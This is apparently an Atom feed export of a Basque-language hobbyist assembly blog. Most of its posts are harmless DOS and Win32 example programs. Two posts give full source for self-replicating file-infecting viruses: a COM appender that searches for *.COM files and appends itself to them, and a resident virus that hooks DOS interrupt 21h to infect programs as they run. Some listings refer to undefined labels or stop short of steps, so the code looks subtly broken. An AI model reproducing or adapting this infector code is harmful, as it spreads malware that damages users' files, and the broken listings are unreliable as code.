<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-26775186</id><updated>2011-10-23T15:18:00.671-07:00</updated><category term='3d0dh'/><category term='40h'/><category term='0ah'/><category term='31h'/><category term='int 10h'/><category term='int 16h'/><category term='helloworld'/><category term='3ch'/><category term='09h'/><category term='4ch'/><category term='35h'/><category term='3bh'/><category term='25h'/><category term='1ah'/><category term='4eh'/><category term='crypt'/><category term='win32'/><category term='ExitProcess'/><category term='4fh'/><category term='2ch'/><category term='02h'/><category term='27h'/><category term='47h'/><category term='fasm'/><category term='exit'/><category term='macro'/><category term='3eh'/><category term='42h'/><category term='masm'/><category term='3dh'/><category term='01h'/><title type='text'>Killkir</title><subtitle type='html'>eguneroko k0dea mihiztadura lengoaian</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>38</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-26775186.post-2554282288886556917</id><published>2011-02-14T04:52:00.000-08:00</published><updated>2011-02-14T04:54:49.449-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fasm'/><category scheme='http://www.blogger.com/atom/ns#' term='win32'/><category scheme='http://www.blogger.com/atom/ns#' term='helloworld'/><title type='text'>hello worm fasm</title><content type='html'>&lt;code&gt;&lt;br /&gt;format PE&lt;br /&gt;entry start&lt;br /&gt;include 'win32a.inc'&lt;br /&gt;&lt;br /&gt;section '.data' data readable writeable&lt;br /&gt;;        handlercon HANDLE 0&lt;br /&gt;  conhandle dd ?&lt;br /&gt;  msg db  "All this worms are yours",0dh,0ah&lt;br /&gt;  msgsz = ($ - msg)&lt;br /&gt;  byteswr dd ?&lt;br /&gt;section '.idata' import data readable writeable&lt;br /&gt;&lt;br /&gt;  library kernel32,'KERNEL32.DLL',\&lt;br /&gt;   user32,'USER32.DLL'&lt;br /&gt;&lt;br /&gt;  include 'api\kernel32.inc'&lt;br /&gt;  include 'api\user32.inc'&lt;br /&gt;&lt;br /&gt;section '.text' code readable executable&lt;br /&gt;&lt;br /&gt;start:&lt;br /&gt; invoke GetStdHandle, STD_OUTPUT_HANDLE&lt;br /&gt; mov dword [conhandle],eax&lt;br /&gt;&lt;br /&gt; invoke WriteConsole,dword [conhandle],msg,msgsz,[byteswr],0&lt;br /&gt;&lt;br /&gt; xor eax,eax&lt;br /&gt; invoke ExitProcess, eax&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-2554282288886556917?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/2554282288886556917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=2554282288886556917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2554282288886556917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2554282288886556917'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2011/02/hello-worm-fasm.html' title='hello worm fasm'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-768152421911688116</id><published>2011-01-20T23:59:00.000-08:00</published><updated>2011-01-21T00:13:30.487-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fasm'/><category scheme='http://www.blogger.com/atom/ns#' term='win32'/><category scheme='http://www.blogger.com/atom/ns#' term='exit'/><title type='text'>exit fasm</title><content type='html'>&lt;code&gt;&lt;br /&gt;; exit.asm&lt;br /&gt;; FASM erabiliz win32 kode txikia&lt;br /&gt;include 'win32ax.inc'&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;start:&lt;br /&gt;      xor eax,eax&lt;br /&gt;      invoke  ExitProcess,eax&lt;br /&gt;.end start&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-768152421911688116?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/768152421911688116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=768152421911688116' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/768152421911688116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/768152421911688116'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2011/01/exit-fasm.html' title='exit fasm'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-1189898945107806762</id><published>2009-09-07T04:11:00.000-07:00</published><updated>2009-09-07T04:39:50.057-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='win32'/><category scheme='http://www.blogger.com/atom/ns#' term='ExitProcess'/><category scheme='http://www.blogger.com/atom/ns#' term='masm'/><title type='text'>win32 minimoa</title><content type='html'>TITLE min.asm&lt;br /&gt;&lt;br /&gt;COMMENT ;)&lt;br /&gt; Code minimoa&lt;br /&gt; ml /c /coff /Cp min.asm  &lt;br /&gt;    /c: ez estekatu, /coff coff formatua /Cp case sensitive&lt;br /&gt; link /subsystem:windows /libpath:c:\masm32\lib min.obj&lt;br /&gt;;)&lt;br /&gt;&lt;br /&gt;.386&lt;br /&gt;.model flat, stdcall&lt;br /&gt;option casemap :none   ; case sensitive&lt;br /&gt;&lt;br /&gt;      include \masm32\include\windows.inc&lt;br /&gt;      include \masm32\include\kernel32.inc&lt;br /&gt;&lt;br /&gt;      includelib \masm32\lib\kernel32.lib&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;&lt;br /&gt;nagusi proc&lt;br /&gt;&lt;br /&gt;    invoke ExitProcess, 0&lt;br /&gt;&lt;br /&gt;nagusi endp&lt;br /&gt;end nagusi&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-1189898945107806762?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/1189898945107806762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=1189898945107806762' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/1189898945107806762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/1189898945107806762'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2009/09/win32-minimoa.html' title='win32 minimoa'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-651961921665007559</id><published>2007-07-14T14:46:00.000-07:00</published><updated>2007-08-14T14:49:51.700-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='3d0dh'/><category scheme='http://www.blogger.com/atom/ns#' term='3eh'/><category scheme='http://www.blogger.com/atom/ns#' term='4fh'/><category scheme='http://www.blogger.com/atom/ns#' term='42h'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='40h'/><category scheme='http://www.blogger.com/atom/ns#' term='1ah'/><category scheme='http://www.blogger.com/atom/ns#' term='4eh'/><title type='text'>0023 - LAME.1 com appender</title><content type='html'>Klasiko bat&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;kodea segment para public code&lt;br /&gt; assume cs:kodea,ds:kodea&lt;br /&gt;&lt;br /&gt; org 100h&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; db 0e9h,0,0&lt;br /&gt;&lt;br /&gt;comapp:&lt;br /&gt; call kalk&lt;br /&gt;kalk:&lt;br /&gt; pop bp ; BP = IP&lt;br /&gt; sub bp, offset kalk&lt;br /&gt;&lt;br /&gt;berreskuratu:&lt;br /&gt; lea si,[bp + offset lehen3]&lt;br /&gt; mov cx,3&lt;br /&gt; mov di,100h&lt;br /&gt; ; push di ezinbestekoa itzultzeko&lt;br /&gt; push di&lt;br /&gt; rep movsb&lt;br /&gt;&lt;br /&gt;dtagorde:&lt;br /&gt; mov ah,1ah&lt;br /&gt; lea dx, [bp + offset dta]&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;infekzioa:&lt;br /&gt; mov ah,4eh&lt;br /&gt;segi:&lt;br /&gt; lea dx, [bp + comatz]&lt;br /&gt; int 21h&lt;br /&gt; jc bukatu&lt;br /&gt; &lt;br /&gt; ; filehandler bx-i pasatu&lt;br /&gt; xchg bx,ax&lt;br /&gt;&lt;br /&gt; ; ireki&lt;br /&gt; mov  ax,3d02h&lt;br /&gt; lea  dx,[bp+OFFSET hide_dta+1eh]&lt;br /&gt; int  21h&lt;br /&gt; xchg ax,bx&lt;br /&gt; &lt;br /&gt; ; jauzi berria kalkulatu&lt;br /&gt; mov cx, bukaera-comapp&lt;br /&gt; mov  word ptr [bp+jauzia+1], cx&lt;br /&gt;&lt;br /&gt; ; hasieran kokatu&lt;br /&gt; xor cx,cx&lt;br /&gt; xor dx,dx&lt;br /&gt; mov ah,42h&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ; jauzia idatzi&lt;br /&gt; mov ah,40h&lt;br /&gt; lea dx,[bp+jauzia]&lt;br /&gt; mov cx,3&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ; Bukaerara mugitu&lt;br /&gt; xor cx,cx&lt;br /&gt; xor dx,dx&lt;br /&gt; mov ax,4202h&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ; gure kodea sartu!!&lt;br /&gt; mov ah, 40h&lt;br /&gt; mov cx,bukaera-comapp&lt;br /&gt; lea dx,[bp+comapp]&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ;itxi&lt;br /&gt; mov ah,3eh&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;hurrengoa:&lt;br /&gt; mov ah, 4fh&lt;br /&gt; jmp segi&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;bukatu:&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx, [bp + offset mezua]&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; Aurreko DTA utzi&lt;br /&gt; mov  dx,80h&lt;br /&gt; mov  ah,1ah&lt;br /&gt; int  21h&lt;br /&gt; &lt;br /&gt; retn&lt;br /&gt; &lt;br /&gt; comatz db "*.COM",0&lt;br /&gt; lehen3 db 0cdh,20h,0&lt;br /&gt; jauzia db 0e9h,0,0&lt;br /&gt; mezua db '[comap ultralame vir]',10,13,'$'&lt;br /&gt; dta db 42 dup(?)&lt;br /&gt;bukaera label near&lt;br /&gt;nagusia endp&lt;br /&gt;kodea ends&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-651961921665007559?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/651961921665007559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=651961921665007559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/651961921665007559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/651961921665007559'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/0023-lame1-com-appender.html' title='0023 - LAME.1 com appender'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-7610176633036943007</id><published>2007-07-07T13:16:00.000-07:00</published><updated>2007-08-14T14:50:47.793-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='35h'/><category scheme='http://www.blogger.com/atom/ns#' term='25h'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='40h'/><category scheme='http://www.blogger.com/atom/ns#' term='27h'/><category scheme='http://www.blogger.com/atom/ns#' term='3dh'/><title type='text'>0022 - Fact, moldatua</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title fact&lt;br /&gt;comment ;P&lt;br /&gt;Eten bektorea aldatzen du gure kodea egikari dezan.&lt;br /&gt;xinplea, eta ongi funtzionatzen du msdos ingurunean.&lt;br /&gt;;P&lt;br /&gt;&lt;br /&gt;.model tiny&lt;br /&gt;.code&lt;br /&gt;; COM izango da&lt;br /&gt; org   100h&lt;br /&gt;&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt; cli  ; clear interrupt table&lt;br /&gt; ; Lehenbizi eten bektorean (IVT) 21hren helbidea atera: 35h&lt;br /&gt;        mov   ax,3521h&lt;br /&gt;        int     21h&lt;br /&gt; ; es:bx helbidean uzten da&lt;br /&gt;        mov   word ptr [int21_helbidea],bx&lt;br /&gt;        mov   word ptr [int21_helbidea+2],es&lt;br /&gt;&lt;br /&gt; ; Orain gure helbidea ezarri: 25h&lt;br /&gt;        mov   ah,25h&lt;br /&gt;        lea     dx,int21_birusa&lt;br /&gt;        int      21h&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; ; TSR geratu, 27h bitartez&lt;br /&gt; xchg  ax,dx&lt;br /&gt; sti     &lt;br /&gt;        int     27h&lt;br /&gt;&lt;br /&gt;; Birusaren kodea...&lt;br /&gt; int21_birusa  proc    near&lt;br /&gt; ; exekuzioa  pasatu zaio int 21hri?&lt;br /&gt;          cmp     ah,4bh&lt;br /&gt;          jne      int21_exit&lt;br /&gt;&lt;br /&gt;          mov     ax,3d01h&lt;br /&gt;          int       21h&lt;br /&gt;          xchg    ax,bx&lt;br /&gt;&lt;br /&gt;          push    cs&lt;br /&gt;          pop     ds&lt;br /&gt;&lt;br /&gt;  ; payload sinplea...&lt;br /&gt;   mov ah,09h&lt;br /&gt;   lea  dx, virus_izena&lt;br /&gt;   int   21h&lt;br /&gt;&lt;br /&gt;          mov     ah,40h&lt;br /&gt;          mov     cx,(bukatu-hasi)&lt;br /&gt;          lea     dx,hasi&lt;br /&gt;  int21_exit:&lt;br /&gt;             db       0eah&lt;br /&gt;  bukatu:&lt;br /&gt;  int21_helbidea  dd       ?&lt;br /&gt;  virus_izena   db      '[Fact] aldaketa',10,13,'$'&lt;br /&gt;&lt;br /&gt; endp&lt;br /&gt;&lt;br /&gt;end       hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-7610176633036943007?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/7610176633036943007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=7610176633036943007' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/7610176633036943007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/7610176633036943007'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/08/0022-fact-moldatua.html' title='0022 - Fact, moldatua'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-4557198818488587481</id><published>2007-07-04T03:22:00.000-07:00</published><updated>2007-08-03T03:24:26.525-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='0ah'/><title type='text'>0021 - Lerroa irakurri</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title irakur.asm&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; mezua db 'Mesedez sartu zerbait: ','$'&lt;br /&gt; irakurritakoa db 11,11 dup(?)&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt; assume cs:Kodea,ds:Datuak&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;&lt;br /&gt;hasi:&lt;br /&gt; mov ax, Datuak&lt;br /&gt; mov ds, ax&lt;br /&gt;&lt;br /&gt; ; mezua atera&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx, mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; xor cx,cx&lt;br /&gt; xor dx,dx&lt;br /&gt;&lt;br /&gt; ; testua irakurri&lt;br /&gt; mov ah,0ah&lt;br /&gt; lea dx,irakurritakoa&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; sub  ch,ch&lt;br /&gt; mov cl,irakurritakoa+1&lt;br /&gt; add  dx,2&lt;br /&gt;&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-4557198818488587481?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/4557198818488587481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=4557198818488587481' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/4557198818488587481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/4557198818488587481'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/0021-lerroa-irakurri.html' title='0021 - Lerroa irakurri'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-493979094849197464</id><published>2007-07-03T03:17:00.000-07:00</published><updated>2007-08-03T03:23:16.664-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='02h'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>0020 - Karaktereak banan banan</title><content type='html'>&lt;pre&gt;&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt;cr equ 0ah&lt;br /&gt;lf equ 0dh&lt;br /&gt;mezua db 'Karaktere guztiak: ',cr,lf,'$'&lt;br /&gt;dta db 128 dup(?)&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; mov ax,@data&lt;br /&gt; mov ds,ax&lt;br /&gt; &lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezua&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ; Karaktere guztiak aterako ditugu:&lt;br /&gt; xor dx,dx&lt;br /&gt; xor cx,cx&lt;br /&gt; mov cx,128&lt;br /&gt; &lt;br /&gt;segi:&lt;br /&gt; mov dl,cl&lt;br /&gt; mov ah,02h&lt;br /&gt; int 21h&lt;br /&gt; loop segi&lt;br /&gt; &lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt;nagusia endp&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-493979094849197464?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/493979094849197464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=493979094849197464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/493979094849197464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/493979094849197464'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/0020-karaktereak-banan-banan.html' title='0020 - Karaktereak banan banan'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-1182651716058476327</id><published>2007-07-02T14:52:00.000-07:00</published><updated>2007-07-31T14:53:52.127-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypt'/><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>001F - Zifraketa testa</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title crypt.asm&lt;br /&gt;&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;;nagusia proc near&lt;br /&gt;jauzi macro &lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,jauzia&lt;br /&gt; int 21h&lt;br /&gt;endm&lt;br /&gt;&lt;br /&gt;start:&lt;br /&gt; mov ax,@code&lt;br /&gt; mov ds, ax&lt;br /&gt; mov es, ax&lt;br /&gt;&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezuarrunta&lt;br /&gt; int 21h&lt;br /&gt; jauzi&lt;br /&gt;&lt;br /&gt; xor bx,bx&lt;br /&gt; lea si,mezuarrunta&lt;br /&gt; lea di,mezuzifratua&lt;br /&gt; mov al,09h&lt;br /&gt;segi:&lt;br /&gt; mov ah, si[bx]&lt;br /&gt; ;; zifraketa: not&lt;br /&gt;; not ah&lt;br /&gt; xor ah, al&lt;br /&gt; mov di[bx],ah&lt;br /&gt; &lt;br /&gt; inc bx&lt;br /&gt; cmp bx,23&lt;br /&gt; jnz segi&lt;br /&gt; &lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezuzifratua&lt;br /&gt; int 21h&lt;br /&gt; jauzi&lt;br /&gt;&lt;br /&gt;decrypt:&lt;br /&gt; xor bx,bx&lt;br /&gt; lea di,mezuarrunta&lt;br /&gt; lea si,mezuzifratua&lt;br /&gt; mov al, 09h&lt;br /&gt;segi2:&lt;br /&gt; mov ah, si[bx]&lt;br /&gt; ;; zifraketa: not&lt;br /&gt;; not ah&lt;br /&gt; xor ah, al&lt;br /&gt; mov di[bx],ah&lt;br /&gt; &lt;br /&gt; inc bx&lt;br /&gt; cmp bx,23&lt;br /&gt; jnz segi2&lt;br /&gt; &lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezuarrunta&lt;br /&gt; int 21h&lt;br /&gt; jauzi&lt;br /&gt; &lt;br /&gt;bukatu:&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cr equ 0ah&lt;br /&gt;lf equ  0dh&lt;br /&gt;mezuarrunta db 'Hau errex irakurtzen da','$'&lt;br /&gt;mezuzifratua db '.......................','$'&lt;br /&gt;gakoa db 09h&lt;br /&gt;jauzia db cr,lf,'$'&lt;br /&gt;&lt;br /&gt;end start&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-1182651716058476327?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/1182651716058476327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=1182651716058476327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/1182651716058476327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/1182651716058476327'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/001f-zifraketa-testa.html' title='001F - Zifraketa testa'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-2451265887405522888</id><published>2007-07-01T14:49:00.000-07:00</published><updated>2007-07-31T14:52:26.454-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='macro'/><title type='text'>001E - Datuak mugitu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title mugitu.asm&lt;br /&gt;&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;;nagusia proc near&lt;br /&gt;jauzi macro &lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,jauzia&lt;br /&gt; int 21h&lt;br /&gt;endm&lt;br /&gt;&lt;br /&gt;start:&lt;br /&gt; mov ax,@code&lt;br /&gt; mov ds, ax&lt;br /&gt; mov es, ax&lt;br /&gt;&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezuarrunta&lt;br /&gt; int 21h&lt;br /&gt; jauzi&lt;br /&gt;&lt;br /&gt; cld&lt;br /&gt; lea si,mezuarrunta&lt;br /&gt; lea di,mezuzifratua&lt;br /&gt; mov cx,23&lt;br /&gt; rep movsb&lt;br /&gt;&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezuzifratua&lt;br /&gt; int 21h&lt;br /&gt; jauzi&lt;br /&gt;&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;cr equ 0ah&lt;br /&gt;lf equ  0dh&lt;br /&gt;mezuarrunta db 'Hau errex irakurtzen da','$'&lt;br /&gt;mezuzifratua db '.......................','$'&lt;br /&gt;jauzia db cr,lf,'$'&lt;br /&gt;&lt;br /&gt;end start&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 